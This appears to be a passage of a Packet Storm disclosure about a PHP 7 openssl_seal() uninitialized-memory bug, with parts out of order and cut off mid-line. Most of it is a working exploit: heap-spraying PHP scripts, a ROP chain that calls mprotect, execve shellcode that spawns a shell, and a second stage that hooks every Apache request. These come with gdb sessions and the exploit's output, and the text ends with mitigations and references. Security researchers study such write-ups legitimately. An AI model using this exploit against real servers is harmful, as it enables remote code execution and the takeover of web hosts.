fill_buffer(0x3000, $handler);
$addr = pack('P', $addr);
$memory = str_repeat($addr,321);
$pem = "
-----BEGIN PUBLIC KEY-----
MCwwDQYJKoZIhvcNAQEBBQADGwAwGAIRANG2dvm8oNiH3IciNd44VZcCAwEAAQ==
-----END PUBLIC KEY-----"; /* Random RSA key */
$a = array_fill(0,321,0);
/* place valid keys at the beginning */
$k = openssl_pkey_get_public($pem);
$a[0] = $k; $a[1] = $k; $a[2] = $k;
echo "[+] spraying heap\n";
$x = array();
for ($i = 0 ; $i < 20000 ; $i++) {
$x[$i] = str_repeat($memory, 1);
}
for ($i = 0 ; $i < 20000 ; $i++) {
unset($x[$i]);
}
unset($x);
echo "[+] triggering openssl_seal()...\n";
@openssl_seal($_, $_, $_, $a);
echo "[-] failed ;[\n";
Here's how it works:
~$ curl http://localhost:10080/~rj4/exp.php
[+] buffer string @ 0x7f3d66c00014
[+] faking EVP_PKEY @ 0x7f3d66c00113
[+] faking ASN @ 0x7f3d66c00113
[+] libphp7 base @ 0x7f3d6c348000
[+] faking pkey_free @ 0x7f3d66c001af = 7f3d6c7ef9c3
[+] libc base @ 0x7f3d762d0000
[+] mprotect @ 0x7f3d763c4a20
[+] mmap @ 0x7f3d763c49c0
[+] apache2 base @ 0x7f3d77180000
[+] ap_rprintf @ 0x7f3d771c29c0
[+] ap_hook_quick_handler @ 0x7f3d771d6c00
[+] building ropchain
[+] spraying heap
[+] triggering openssl_seal()...
execute it a few times to infect all children
~$ curl http://localhost:10080/~rj4/exp.php
Hello World!
~$ curl http://localhost:10080/whatever
Hello World!
...\o/, we're done.
Mitigations:
* Update your PHP! - bug was fixed [8]
* Unload OpenSSL extension
* Do not rely only on disable_functions [7], as you can see it can be
bypassed and there are many other ways to break it.
* Do not run PHP as a Apache module, or at least do not be surprised if
magiacal things happen. Instead, you may use the FastCGI or even suexec
& stuff, but dealing with it is beyond the scope of this text.
T H E E N D
* lights! curtain! applause! *
References
http://git.php.net/?p=php-src.git;a=commit;h=424aebbf3643b3fc1b1074ecddf2104cb9465f02
http://php-security.org/2010/05/07/mops-submission-03-sqlite_single_query-sqlite_array_query-uninitialized-memory-usage/index.html
http://seclists.org/fulldisclosure/2011/May/472
http://php.net/manual/en/function.openssl-seal.php
http://www.phpinternalsbook.com/zvals/memory_management.html
https://httpd.apache.org/docs/trunk/developer/modguide.html
http://php.net/manual/en/ini.core.php#ini.disable-functions
https://bugs.php.net/bug.php?id=71475
Credits
shm - Mateusz Kocielski (LogicalTrust) - http://akat1.pl/ - @akat1_pl
s1m0n - Filip Palian - http://s1m0n.dft-labs.eu/
n1x0n - Marek Kroemeke - http://kroemeke.eu/
`
{"sourceHref": "https://packetstormsecurity.com/files/download/135567/opensslseal-exec.txt", "sourceData": "`Hey folks, \n \nThe openssl_seal() [4] is prone to use uninitialized memory that can be \nturned into a code execution. This document describes technical details of \nour journey to hijack apache2 requests. \n \nWhat the heck is openssl_seal()? \n \n[...] \nint openssl_seal ( string $data , string &$sealed_data , array &$env_keys , array $pub_key_ids [, \nstring $method = \"RC4\" ] ) \n \nopenssl_seal() seals (encrypts) data by using the given method with a \nrandomly generated secret key. The key is encrypted with each of the \npublic keys associated with the identifiers in pub_key_ids and each \nencrypted key is returned in env_keys. This means that one can send sealed \ndata to multiple recipients (provided one has obtained their public keys). \nEach recipient must receive both the sealed data and the envelope key that \nwas encrypted with the recipient's public key. \n[...] \n \nSource: PHP documentation [4] \nBut it doesn't matter that much what it's intended to do, let's see its \nimplementation. \n \nThe Bug \n \n4888 /* {{{ proto int openssl_seal(string data, &string sealdata, &array ekeys, array pubkeys) \n4889 Seals data */ \n4890 PHP_FUNCTION(openssl_seal) \n4891 { \n4892 zval *pubkeys, *pubkey, *sealdata, *ekeys, *iv = NULL; \n4893 HashTable *pubkeysht; \n4894 EVP_PKEY **pkeys; \n[...] \n4895 zend_resource ** key_resources; /* so we know what to cleanup */ \n4905 if (zend_parse_parameters(ZEND_NUM_ARGS(), \"sz/z/a/|sz/\", &data, &data_len, \n4906 &sealdata, &ekeys, &pubkeys, &method, &method_len, &iv) == FAILURE) { \n4907 return; \n4908 } \n4909 pubkeysht = Z_ARRVAL_P(pubkeys); \n4910 nkeys = pubkeysht ? zend_hash_num_elements(pubkeysht) : 0; \n4911 if (!nkeys) { \n4912 php_error_docref(NULL, E_WARNING, \"Fourth argument to openssl_seal() must be a non-empty array\"); \n4913 RETURN_FALSE; \n4914 } \n[...] \n4935 pkeys = safe_emalloc(nkeys, sizeof(*pkeys), 0); \n[...] \n4939 key_resources = safe_emalloc(nkeys, sizeof(zend_resource*), 0); \n4940 memset(key_resources, 0, sizeof(zend_resource*) * nkeys); \n4941 \n4942 /* get the public keys we are using to seal this data */ \n4943 i = 0; \n4944 ZEND_HASH_FOREACH_VAL(pubkeysht, pubkey) { \n4945 pkeys[i] = php_openssl_evp_from_zval(pubkey, 1, NULL, 0, &key_resources[i]); \n4946 if (pkeys[i] == NULL) { \n4947 php_error_docref(NULL, E_WARNING, \"not a public key (%dth member of pubkeys)\", i+1); \n4948 RETVAL_FALSE; \n4949 goto clean_exit; \n4950 } \n4951 eks[i] = emalloc(EVP_PKEY_size(pkeys[i]) + 1); \n4952 i++; \n4953 } ZEND_HASH_FOREACH_END(); \n[...] \n5000 clean_exit: \n5001 for (i=0; i<nkeys; i++) { \n5002 if (key_resources[i] == NULL) { \n5003 EVP_PKEY_free(pkeys[i]); \n5004 } \n[...] \n5008 } \n \nSource: http://lxr.php.net/xref/PHP_7_0/ext/openssl/openssl.c#4890 \n \nLet's analyze this function, in line 4939 code allocates key_resources \ntable followed by zeroing it, this table is used to mark keys that are \nintended to be freed. key_resources table is filled by loop between lines \n4944 and 4953. nkeys is a number of elements passed to the function in \npubkeys array. Now if one of the array members is not a valid public key, \nthen code goes to clean_exit routine that iterates over key_resources \ntable and frees pkeys structures. pkeys itself is not initialized - loop \nstarting in 4944 line is supposed to do so, but in case of firing up \nclean_exit we end up with uninitialized part of the array. Now let's \nrecall that key_resources was zeroed, it means that we're going to call \nEVAP_PKEY_free() on uninitialized pkeys members. \n \nThe bug was introduced by commit 424aebbf3643b3fc1b1074ecddf2104cb9465f02 \n[1], quick review confirms that it affects branch 7.x only, so most \ndistros are safe as they let cook 7.x branch for a while. \n \nIs it exploitable? \n \nWell, it depends what EVP_PKEY_free does, so let's see the implementation: \n376 void EVP_PKEY_free(EVP_PKEY *x) \n377 { \n378 int i; \n379 \n380 if (x == NULL) \n381 return; \n382 \n383 i = CRYPTO_add(&x->references, -1, CRYPTO_LOCK_EVP_PKEY); \n[...] \n387 if (i > 0) \n388 return; \n[...] \n395 EVP_PKEY_free_it(x); \n396 if (x->attributes) \n397 sk_X509_ATTRIBUTE_pop_free(x->attributes, X509_ATTRIBUTE_free); \n398 OPENSSL_free(x); \n399 } \n \nSource: http://nxr.netbsd.org/xref/src/crypto/external/bsd/openssl/dist/crypto/evp/p_lib.c#376 \n \nThanks to x == NULL check it wasn't found by unit tests. One obvious way \nto exploit this bug is to trigger double free and then try to mess up \nsomething, but OpenSSL uses allocator from libc which usually deals with \ndouble free pretty well. There's an option to manipulate memory via \nCRYPTO_add (as we control x), but decreasing by 1 will not get us far. \nLet's dig deeper and see the EVP_PKEY_free_it() implementation: \n \n401 static void EVP_PKEY_free_it(EVP_PKEY *x) \n402 { \n403 if (x->ameth && x->ameth->pkey_free) { \n404 x->ameth->pkey_free(x); \n405 x->pkey.ptr = NULL; \n406 } \n[...] \n \nSource: http://nxr.netbsd.org/xref/src/crypto/external/bsd/openssl/dist/crypto/evp/p_lib.c#EVP_PKEY_free_it \n \n404 line contains call to pkey_free() address that is extracted from x \npointer and comes from the uninitialized memory, which under some \ncircumstances we control. Therefore, it can gain us code execution! \n \nExploitation \n \nFirst of all, we'd like to reference to the article [2] which describes \nexploiting of uninitialized memory in sqlite extension and [3] that is a \nPoC to hijack all requests coming into Apache when PHP runs as a module. \nNow we'd like to explore this path once again and see what has changed \nafter introducing modern mitigations methods and amd64 architecture. \n \nOur plan looks as follows: \n \n* Stage 1 (pwning PHP): \n \n1. control uninitialized memory \n2. get (or guess) pointer that will act as a fake EVP_PKEY structure \n3. push that pointer as a value to EVP_PKEY_free() \n4. basing on guesses (or leaks) build a ROP chain allowing us to execute \ndata \n5. execute the 2nd stage shellcode \n \n* Stage 2 (pwning Apache): \n1. guess/find handlers addresses \n2. overwrite first handler with ours evil one \n3. get back home (do not crash apache child) \n \nPwning PHP \n \nTo control uninitialized memory we can use the same trick as in [2]. \nstr_repeat() can allocate memory for us that will be freed right after the \ncall. Because PHP internal allocator works as FIFO, thus we can force \nopenssl_seal() to allocate dirty memory for pkeys by selecting allocation \nsize wisely. Experiments showed that it's pretty reliable to push there \naround 512 bytes. Therefore, in order to force 512 bytes allocation of \npkeys, the public key array should have 64 elements (64 * 8 bytes pointer \nsize). \n \nLet us verify it: \n \n~/src/php-7.0.2/sapi/cli$ gdb ./php \n[...] \n(gdb) r -r 'str_repeat(\"A\", 512); openssl_seal($_, $_, $_, array_fill(0,64,0));' \nStarting program: /home/rj4/src/php-7.0.2/sapi/cli/php -r 'str_repeat(\"A\", 512); \nopenssl_seal($_, $_, $_, array_fill(0,64,0));' \n[Thread debugging using libthread_db enabled] \nUsing host libthread_db library \"/lib/x86_64-linux-gnu/libthread_db.so.1\". \n \nWarning: openssl_seal(): not a public key (1th member of pubkeys) in Command line code on line 1 \n \nProgram received signal SIGSEGV, Segmentation fault. \n0x00007ffff5a3d837 in CRYPTO_add_lock () from /lib/x86_64-linux-gnu/libcrypto.so.1.0.0 \n(gdb) x/i $rip \n=> 0x7ffff5a3d837 <CRYPTO_add_lock+71>: add (%r12),%r13d \n(gdb) i r \n[...] \nr12 0x208 520 \n[...] \n(gdb) up \n#1 0x00007ffff5ad0199 in EVP_PKEY_free () from /lib/x86_64-linux-gnu/libcrypto.so.1.0.0 \n(gdb) \n#2 0x00000000004f0d12 in zif_openssl_seal (execute_data=0x7ffff28130d0, return_value=0x7ffff28130c0) \nat /home/rj4/src/php-7.0.2/ext/openssl/openssl.c:5003 \n5003 EVP_PKEY_free(pkeys[i]); \n(gdb) print i \n$3 = 2 \n(gdb) print pkeys[i] \n$11 = (EVP_PKEY *) 0x200 \n(gdb) print pkeys[i+1] \n$12 = (EVP_PKEY *) 0x4141414141414141 \n(gdb) print pkeys[i+2] \n$13 = (EVP_PKEY *) 0x4141414141414141 \n \nBoom! It crashed but we expected pkeys[i] to be 0x4141414141414141 \n(AAAAAAAA) rather than 0x200. Luckily we can simply overwrite 0x200 in \npkeys by placing at the beginning valid keys - in short we're going to \noverwrite first few elements so we can get rid of 0x200 value (which comes \nfrom the string length). \n \n~/src/php-7.0.2/sapi/cli$ cat 2.php \n<?php \n \n$pem = \" \n-----BEGIN PUBLIC KEY----- \nMCwwDQYJKoZIhvcNAQEBBQADGwAwGAIRANG2dvm8oNiH3IciNd44VZcCAwEAAQ== \n-----END PUBLIC KEY-----\"; /* Random RSA key */ \n \n$a = array_fill(0,64,0); \n$k = openssl_pkey_get_public($pem); \n$a[0] = $k; $a[1] = $k; $a[2] = $k; \nvar_dump($k); \nstr_repeat(\"A\", 512); \nopenssl_seal($_, $_, $_, $a); \n \n~/src/php-7.0.2/sapi/cli$ gdb ./php \n[...] \n(gdb) r 2.php \nStarting program: /home/rj4/src/php-7.0.2/sapi/cli/php 2.php \n[Thread debugging using libthread_db enabled] \nUsing host libthread_db library \"/lib/x86_64-linux-gnu/libthread_db.so.1\". \nresource(4) of type (OpenSSL key) \n \nWarning: openssl_seal(): not a public key (4th member of pubkeys) in \n/home/rj4/src/php-7.0.2/sapi/cli/2.php on line 13 \n \nProgram received signal SIGSEGV, Segmentation fault. \n0x00007ffff5a3d837 in CRYPTO_add_lock () from /lib/x86_64-linux-gnu/libcrypto.so.1.0.0 \n(gdb) x/i $rip \n=> 0x7ffff5a3d837 <CRYPTO_add_lock+71>: add (%r12),%r13d \n(gdb) i r r12 \nr12 0x4141414141414149 4702111234474983753 \n(gdb) up \n#1 0x00007ffff5ad0199 in EVP_PKEY_free () from /lib/x86_64-linux-gnu/libcrypto.so.1.0.0 \n(gdb) \n#2 0x00000000004f0d12 in zif_openssl_seal (execute_data=0x7ffff2813180, return_value=0x7ffff2813170) at \n/home/rj4/src/php-7.0.2/ext/openssl/openssl.c:5003 \n5003 EVP_PKEY_free(pkeys[i]); \n(gdb) print pkeys[i] \n$1 = (EVP_PKEY *) 0x4141414141414141 \n \nWe've got full control over value passed to EVP_PKEY_free. Let's see how EVP_PKEY structure looks like now: \n \n(gdb) print *pkeys[0] \n$2 = {type = 6, save_type = 6, references = 1, ameth = 0x7ffff5d99860, engine = 0x0, \npkey = {ptr = 0x60f00000c430 \"\", rsa = 0x60f00000c430, \ndsa = 0x60f00000c430, dh = 0x60f00000c430, ec = 0x60f00000c430}, save_parameters = 1, attributes = 0x0} \nstructure definition: \n \n128 struct evp_pkey_st { \n129 int type; \n130 int save_type; \n131 int references; \n132 const EVP_PKEY_ASN1_METHOD *ameth; \n133 ENGINE *engine; \n134 union { \n135 char *ptr; \n[...] \n148 } pkey; \n149 int save_parameters; \n150 STACK_OF(X509_ATTRIBUTE) *attributes; /* [ 0 ] */ \n151 } /* EVP_PKEY */ ; \n \nSource: http://nxr.netbsd.org/xref/src/crypto/external/bsd/openssl/dist/crypto/evp/evp.h#evp_pkey_st \n \nand EVP_PKEY_ASN1_METHOD has the following definition: \n \n74 struct evp_pkey_asn1_method_st { \n75 int pkey_id; \n[...] \n102 void (*pkey_free) (EVP_PKEY *pkey); \n[...] \n114 } /* EVP_PKEY_ASN1_METHOD */ ; \n \nSource: http://nxr.netbsd.org/xref/src/crypto/external/bsd/openssl/dist/crypto/evp/evp.h#evp_pkey_st< \n \nHow to get pkey_free offset, you may ask? \n \n(gdb) disas EVP_PKEY_free \nDump of assembler code for function EVP_PKEY_free: \n[...] \n0x00007ffff5ad01a3 <+51>: callq 0x7ffff5acfa90 \n0x00007ffff5ad01a8 <+56>: mov 0x30(%rbx),%rdi \n0x00007ffff5ad01ac <+60>: test %rdi,%rdi \n0x00007ffff5ad01af <+63>: je 0x7ffff5ad01bd \n0x00007ffff5ad01b1 <+65>: lea 0xf1c8(%rip),%rsi # 0x7ffff5adf380 \n0x00007ffff5ad01b8 <+72>: callq 0x7ffff5ac35f0 \n0x00007ffff5ad01bd <+77>: mov %rbx,%rdi \n0x00007ffff5ad01c0 <+80>: pop %rbx \n0x00007ffff5ad01c1 <+81>: jmpq 0x7ffff5a3df70 \nEnd of assembler dump. \n(gdb) x/i 0x7ffff5acfa90 \n0x7ffff5acfa90: push %rbx \n(gdb) \n0x7ffff5acfa91: mov 0x10(%rdi),%rax \n(gdb) \n0x7ffff5acfa95: mov %rdi,%rbx \n(gdb) \n0x7ffff5acfa98: test %rax,%rax \n(gdb) \n0x7ffff5acfa9b: je 0x7ffff5acfab3 \n(gdb) \n0x7ffff5acfa9d: mov 0xa0(%rax),%rax // pkey_free() ptr offset in ameth \n) \n \nSo now we've got all the puzzles needed to gain control over code \nexecution, let's analyze the following image: \n \npkeys (openssl_seal()) \n+----------+----------+----------+----------+----- \n| pkeys[0] | pkeys[1] | pkeys[2] | pkeys[3] | ... \n+----------+----------+----------+----------+--- \n| \n+------------------------------------+ \n| \nv EVP_PKEY \n+------+-----------+------------+-------+----- \n| type | save_type | references | ameth | ... \n+------+-----------+------------+-------+--- \n| \n+------------------------------------+ \n| \nv EVP_PKEY_ASN1_METHOD \n+---------+--- -+-----------+---- \n| pkey_id | ... | pkey_free | ... \n+---------+- ---+-----------+--- \n \nWhat we need now, is to place somewhere a fake EVP_PKEY and \nEVP_PKEY_ASN1_METHOD structures. We fully control pkeys[3], so obvious \nthing is to keep fake structs as strings and point to them, but how we'd \nfigure out what's their address? \n \nExploiting PHP gives us the luxury, that we can get desired addresses from \nthe procfs. By calling str_repeat() PHP allocates a new memory region that \nis under our control and we know its address range by reading \n/proc/self/maps. We could also use another bug that will let us reveal \nsome information about memory layout, but we don't have to push at open \ndoors here. Having this information we can start filling newly allocated \nbuffer with a fake EVP_PKEY and EVP_PKEY_ASN1_METHOD structures minding \nthe correct offsets. \n \n~/src/php-7.0.2/sapi/cli$ cat 3.php \n[...] \nfunction get_maps() { \n$fh = fopen(\"/proc/self/maps\", \"r\"); \n$maps = fread($fh, 31337^2); \nfclose($fh); \nreturn explode(\"\\n\", $maps); \n} \n[...] \n$pre = get_maps(); \n$buffer = str_repeat(\"\\x00\", 0xff0000); \n$post = get_maps(); \n$tmp = array_diff($post, $pre); \n$tmp = explode('-', array_values($tmp)[0])[0]; \nfor ($i = 0; $i < 8; $i++) \n$buffer[0xff + 12 + $i] = pack('P', $addr)[$i]; \n[...] \n \nUpon calling EVP_PKEY_free_it(), and subsequent attempt to call the \npkey_free() in ameth structure, the data under the address specified by us \ngets executed. Cool! \n \nAt this point it is trivial to handle both, NX and ASLR. We are chaining \nthe ROP to neutralise NX and use /proc/self/maps so we can forget about \nthe ASLR. Surely other and fancier ROP chain variants can be created but \nwe decided to go for an easy option. During ROPing we attempted to use \ngadgets from libc in order to make our exploit more generic. Despite our \nbest efforts, we failed to find appropriate gadget for stack pivoting. We \nended up using gadgets from the PHP binary, which worked good enough. To \npivot the stack we used the address of our controlled buffer, which was \nalready on the stack, and popped it into rsp. Having control over all the \npieces we were able to call mprotect() and set the RWX perms for the \nmemory region of our buffer. This step ultimately led us to a second stage \nshell code execution. CLI version works perfectly: \n \n$ cat 3.php \n<?php \n \nfunction get_maps() { \n$fh = fopen(\"/proc/self/maps\", \"r\"); \n$maps = fread($fh, 31337); \nfclose($fh); \nreturn explode(\"\\n\", $maps); \n} \n \n$pre = get_maps(); \n$buffer = str_repeat(\"\\x00\", 0xff0000); \n$post = get_maps(); \n$tmp = array_diff($post, $pre); \nif (count($tmp) != 1) \ndie('[-] you need infoleak :['); \n$tmp = explode('-',array_values($tmp)[0])[0]; \n$align = 0xff; \n$addr = hexdec($tmp)+0x14; /* align to string */ \n \necho \"[+] buffer string @ 0x\".dechex($addr).\"\\n\"; \n \n$addr += $align; \n \necho \"[+] faking EVP_PKEY @ 0x\".dechex($addr).\"\\n\"; \necho \"[+] faking ASN @ 0x\".dechex($addr).\"\\n\"; \nfor ($i = 0; $i < 8; $i++) { \n$buffer[$align+12+$i] = pack('P', $addr)[$i]; \n} \n \n$rop_addr = 0xa59203; /* pop x ; pop rsp ; ret - stack pivot */ \necho \"[+] faking pkey_free @ 0x\".dechex($addr+0xa0-4).\" = \".dechex($rop_addr).\"\\n\"; \nfor ($i = 0; $i < 8; $i++) { \n$buffer[$align+0xa0-4+$i] = pack('P', $rop_addr)[$i]; \n} \n \n$rop_addr = 0x8e475c; /* pop x ; pop x ; ret - clean up stack after pivoting */ \nfor ($i = 0; $i < 8; $i++) { \n$buffer[$align+$i-4] = pack('P', $rop_addr)[$i]; \n} \n \n$libc_base = 0; \nforeach (get_maps() as $record) \nif (strstr($record, \"libc-\") && strstr($record, \"r-xp\")) { \n$libc_base = hexdec(explode('-', $record)[0]); \nbreak; \n} \n \nif ($libc_base == 0) \ndie(\"[-] can't find libc base, you need an information leak :[\"); \n \necho \"[+] libc base @ 0x\".dechex($libc_base).\"\\n\"; \n \n$mprotect_offset = 0xf4a20; \n$mprotect_addr = $libc_base + $mprotect_offset; \n \necho \"[+] mprotect @ 0x\".dechex($mprotect_addr).\"\\n\"; \n \necho \"[+] building ropchain\\n\"; \n$rop_chain = \npack('P', 0x000000000042bc82) /* pop rdx ; ret */ . \npack('P', 0x0000000000000007) /* rdx = 7 */ . \npack('P', 0x0000000000e2da18) /* pop rsi ; ret */ . \npack('P', 0x0000000000004000) /* rsi = 0x1000 */ . \npack('P', 0x0000000000e23e26) /* pop rdi ; ret */ . \npack('P', $addr ^ ($addr & 0xffff)) /* rdi = addr */ . \npack('P', $mprotect_addr) /* mprotect addr XXX */ . \npack('P', ($addr ^ ($addr & 0xffff)) | 0x10ff); \n \nfor ($i = 0 ; $i < strlen($rop_chain); $i++) \n$buffer[$align+$i+0x14] = $rop_chain[$i]; \n \n$shellcode = str_repeat(\"\\x90\",512) . \n/* taken from https://www.exploit-db.com/exploits/13691/ */ \n\"\\x48\\x31\\xd2\" . // xor %rdx, %rdx \n\"\\x48\\xbb\\x2f\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\" . // mov $0x68732f6e69622f2f, %rbx \n\"\\x48\\xc1\\xeb\\x08\" . // shr $0x8, %rbx \n\"\\x53\" . // push %rbx \n\"\\x48\\x89\\xe7\" . // mov %rsp, %rdi \n\"\\x50\" . // push %rax \n\"\\x57\" . // push %rdi \n\"\\x48\\x89\\xe6\" . // mov %rsp, %rsi \n\"\\xb0\\x3b\" . // mov $0x3b, %al \n\"\\x0f\\x05\"; // syscall; \nfor ($i = 0 ; $i < strlen($shellcode); $i++) \n$buffer[0x1000 + $i] = $shellcode[$i]; \n \necho \"[+] triggering openssl_seal(), spawning shell\\nhave phun...\\n\"; \n \n$addr = pack('P', $addr); \n$memory = str_repeat($addr, 321); \n \n$pem = \" \n-----BEGIN PUBLIC KEY----- \nMCwwDQYJKoZIhvcNAQEBBQADGwAwGAIRANG2dvm8oNiH3IciNd44VZcCAwEAAQ== \n-----END PUBLIC KEY-----\"; /* Random RSA key */ \n \n$a = array_fill(0,321,0); \n$k = openssl_pkey_get_public($pem); \n$a[0] = $k; $a[1] = $k; $a[2] = $k; \nstr_repeat($memory, 1); \n@openssl_seal($_, $_, $_, $a); \n \n~/src/php-7.0.2-test/sapi/cli$ ./php 3.php \n[+] buffer string @ 0x7f00ef400014 \n[+] faking EVP_PKEY @ 0x7f00ef400113 \n[+] faking ASN @ 0x7f00ef400113 \n[+] faking pkey_free @ 0x7f00ef4001af = a59203 \n[+] libc base @ 0x7f00f1540000 \n[+] mprotect @ 0x7f00f1634a20 \n[+] building ropchain \n[+] triggering openssl_seal(), spawning shell \nhave phun... \n$ \\o/ \n \nPWNing apache2handler \n \nSpawning shell on your own account is pretty useless, isn't it? Hijacking \nall Apache requests would be much more interesting. PHP is shipped with \nvarious backends (above we tricked CLI console), one of them is apache2 \nmodule which let it to serve PHP. The cool thing is that it's super easy \nto setup and quite popular option, on the other hand running PHP scripts \nin the same process that runs Apache is not the best idea from a security \npoint of view... and we're going to exploit that. From time to time, as \npentesters we deal with the situation where disable_functions [7] option \nis setup, so we have to find way to spawn a shell from the PHP level. This \nhole may help you to bypass it and do even more. \n \nPreviously [3] we used a barbarian method to force Apache to run our own \nhandler - we were simply overwriting the first function address in module \nhandlers. This time we're going to be a gentlemen and use Apache 2 APIs. \nTo be more specific, we pick Ubuntu LTS environment (14.04), which \nprovides Apache 2.4.7 as a package. PHP 7 was compiled from sources as \nUbuntu packages provide 5-branch only. \n \nHere's what we want to do: \n \n1. register memory that will survive subsequent requests \n2. copy Apache handler code to the registered memory \n3. register filter hook that will be run really first \n4. do something to clean the corrupted state and let Apache child process \nhappily serve subsequent requests \n \nNote that the above sequence will \"infect\" Apache child, so our handler \nwill be served as long as the child will live. However, running exploit in \na loop will likely allow us to inject into all children. \n \nLet's make steps 1-3 possible first, then we'll worry about landing \nsafely. We don't have any restrictions what to put in our shell code, so \nlet's write it in C (just because we can): \n \nvoid \nshellcode(void *(mmap_addr)(void *, size_t, int, int, int, off_t), \nvoid *(memcpy_addr)(void *, void *, size_t), \nint (*ap_hook_quick_handler_addr)(void *, void *, void *, int), \nunsigned char *handler, size_t len) \n{ \nvoid *handler_space; \nunsigned char *p; \n \n/* create space for our handler, as it needs to survive sequential \n* requests */ \np = handler_space = mmap_addr(0, 0x2000, PROT_WRITE|PROT_EXEC|PROT_READ, \nMAP_ANONYMOUS|MAP_PRIVATE, -1, 0); \n/* ~memcpy(3) */ \nwhile(len--) \n*(p++) = *(handler++); \n/* register new filter */ \nap_hook_quick_handler_addr(handler_space, NULL, NULL, APR_HOOK_REALLY_FIRST); \n} \n \nAlmost all code is self descriptive, we're gonna pass a few addresses to \nthe shellcode function, the function will mmap(2) code for us, so we can \nsurvive subsequent requests, then we're going to copy it and call \nap_hook_quick_handler function, which registers our module handler. Last \nbut not least, we're going to call code $shellcode_stage2. On a side note. \nQuick handlers are run before any other request hooks, so we can be sure \nthat every request will trigger our code. Take a look at [6] to read more \nabout writing Apache modules. \n \nHandler will look as follows: \n \n#include <stdio.h> \n#include <string.h> \n#include <sys/types.h> \n#include <sys/mman.h> \n#include <signal.h> \n \n#define APR_HOOK_REALLY_FIRST (-10) \n#define OK (0) \n \nint \nhandler(void *r) \n{ \nvoid (*ap_rprintf_addr)(char *, void *) = (void *)0xdeadbabefeedcafe; \nchar content[16] = \"hello world\"; \n \n(ap_rprintf_addr)(r, content); \n \nreturn OK; \n} \n \nWe simply compile it with -O0 -fno-stack-protector and dump it to a \nshellcode. \n \nWe call ap_rprintf to print our content in response. Nothing \nextraordinary. For now address of this function is a hardcoded \nplaceholder, it will be replaced with a valid address in exploit itself. \nTo determine addresses we use the /proc/self/maps again. \n \nSo, we've implemented steps 1-3. What about the 4th? Getting out of the \ncorrupted state is tricky, stack is corrupted (a bit). We could try to \nrebuild it and act like nothing has happened but we can also reuse the \ntechnique that was used previously. The PHP has a mechanism that kills \nscripts that run for too long, it is based on signals. If we deliver \nSIGPROF signal to the process, then PHP will take care of recovering our \nvictim for us. \n \nThis time we'll use asm (in PHP, sic!): \n \n$shellcode_stage1 = str_repeat(\"\\x90\",512) . \n\"\\x48\\xb8\" . pack('P', $buffer_base + 0x2018) . // movabs shellcode_stage2, %rax \n\"\\x49\\xb8\" . pack('P', 0x1000) . // handler size \n\"\\x48\\xb9\" . pack('P', $buffer_base + 0x3018) . // handler \n\"\\x48\\xba\" . pack('P', $ap_hook_handler_addr) . // movabs ap_hook_quick_handler, %rdx \n\"\\x48\\xbe\" . pack('P', 0) . // UNUSED \n\"\\x48\\xbf\" . pack('P', $mmap_addr) . // movabs mmap,%rdi \n\"\\xff\\xd0\" . // callq %rax \n\"\\xb8\\x27\\x00\\x00\\x00\" . // mov $0x27,%eax - getpid syscall \n\"\\x0f\\x05\" . // syscall \n\"\\xbe\\x1b\\x00\\x00\\x00\" . // mov $0xd,%esi - SIGPROF \n\"\\x89\\xc7\" . // mov %eax,%edi - pid \n\"\\xb8\\x3e\\x00\\x00\\x00\" . // mov $0x3e,%eax - kill syscall \n\"\\x0f\\x05\"; // syscall \n \nThose 0x2018 and 0x3018 offsets are used to point to the exact memory \nlocations in our buffer_string. It means that we have to add 0x18 aligning \nbytes to the string contents from the beginning of the $buffer_addr. We're \ngoing to place the shellcode_stage2 inside the $buffer at index 0x2000 and \nhandler at index 0x3000. \n \nSo our code chain is the following: \n \n* shellcode_stage1: \n+ call shellcode_stage2 \n^ mmap \n^ copy handler \n^ ap_hook_quick_handler \n+ getpid \n+ kill & clean up \n \nWe've got all that we need: \n \n<?php \n \nfunction get_maps() { \n$fh = fopen(\"/proc/self/maps\", \"r\"); \n$maps = fread($fh, 331337); \nfclose($fh); \nreturn explode(\"\\n\", $maps); \n} \n \nfunction find_map($sym) { \n$addr = 0; \nforeach(get_maps() as $record) \nif (strstr($record, $sym) && strstr($record, \"r-xp\")) { \n$addr = hexdec(explode('-', $record)[0]); \nbreak; \n} \n \nif ($addr == 0) \ndie(\"[-] can't find $sym base, you need an information leak :[\"); \n \nreturn $addr; \n} \n \nfunction fill_buffer($offset, $content) { \nglobal $buffer; \nfor ($i = 0; $i < strlen($content); $i++) \n$buffer[$offset + $i] = $content[$i]; \nreturn; \n} \n \n$pre = get_maps(); \n$buffer = str_repeat(\"\\x00\", 0xff0000); \n$post = get_maps(); \n \n$tmp = array_diff($post, $pre); \n \nif (count($tmp) != 1) \ndie('[-] you need an information leak :['); \n \n$buffer_base = hexdec(explode('-',array_values($tmp)[0])[0]); \n$addr = $buffer_base+0x14; /* align to string */ \n \necho \"[+] buffer string @ 0x\".dechex($addr).\"\\n\"; \n \n$align = 0xff; \n$addr += $align; \n \necho \"[+] faking EVP_PKEY @ 0x\".dechex($addr).\"\\n\"; \necho \"[+] faking ASN @ 0x\".dechex($addr).\"\\n\"; \nfill_buffer($align + 12, pack('P', $addr)); \n \n$libphp_base = find_map(\"libphp7\"); \necho \"[+] libphp7 base @ 0x\".dechex($libphp_base).\"\\n\"; \n \n/* pop x ; pop rsp ; ret - stack pivot */ \n$rop_addr = $libphp_base + 0x00000000004a79c3; \necho \"[+] faking pkey_free @ 0x\".dechex($addr+0xa0-4).\" = \".dechex($rop_addr).\"\\n\"; \nfill_buffer($align + 0xa0 - 4, pack('P', $rop_addr)); \n \n/* pop rbp ; pop rbp ; ret - clean up the stack after pivoting */ \n$rop_addr = $libphp_base + 0x000000000041d583; \nfill_buffer($align - 4, pack('P', $rop_addr)); \n \n$libc_base = find_map(\"libc-\"); \necho \"[+] libc base @ 0x\".dechex($libc_base).\"\\n\"; \n \n$mprotect_offset = 0xf4a20; \n$mprotect_addr = $libc_base + $mprotect_offset; \necho \"[+] mprotect @ 0x\".dechex($mprotect_addr).\"\\n\"; \n \n$mmap_offset = 0xf49c0; \n$mmap_addr = $libc_base + $mmap_offset; \necho \"[+] mmap @ 0x\".dechex($mmap_addr).\"\\n\"; \n \n$apache2_base = find_map(\"/usr/sbin/apache2\"); \necho \"[+] apache2 base @ 0x\".dechex($apache2_base).\"\\n\"; \n \n$ap_rprintf_offset = 0x429c0; \n$ap_rprintf_addr = $apache2_base + $ap_rprintf_offset; \necho \"[+] ap_rprintf @ 0x\".dechex($ap_rprintf_addr).\"\\n\"; \n \n$ap_hook_quick_handler_offset = 0x56c00; \n$ap_hook_quick_handler_addr = $apache2_base 